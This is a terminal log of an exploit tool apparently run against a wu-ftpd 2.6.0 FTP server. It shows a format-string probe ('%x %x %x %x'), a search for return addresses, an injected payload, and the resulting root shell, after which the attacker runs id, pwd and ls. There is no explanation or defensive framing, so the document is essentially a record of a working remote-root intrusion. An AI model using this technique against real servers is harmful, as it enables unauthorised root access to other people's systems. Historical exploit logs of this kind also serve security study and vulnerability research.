machine$ wu-lnx ftpserver
Connected to: localhost
Banner: 220 ftpserver FTP server (Version wu-2.6.0(1) Mon Feb 28
10:30:36 EST 2000)
Logged in... Finding ret addresses
Wuftpd is vulnerable : 200-31 bffff1f8 1ee bfffd180 +bfffcd7c |0200
(end of '%x %x %x %x +%x |%x')
Ret location befor: 0
Ret location : bfffcd24
Proctitle addres : 807347b and 134689915
tmp 1 : 0x62626262tmp 2 : 0x0
tmp 1 : 0xbfffcd24
Cached a : 24
Trying with : 23
Wait for a shell.....
200-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb$Íÿ¿-2-2000-200000000
00000000000000000000-2-240nan0-10737520721074538445-1073752
(...lots of garbage edited...)
000000000000000000000000000000000id
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
pwd
/
ls -C
bin dev home lost+found opt root tftpboot usr
boot etc lib mnt proc sbin tmp var
exitConnection closed - EOF
machine$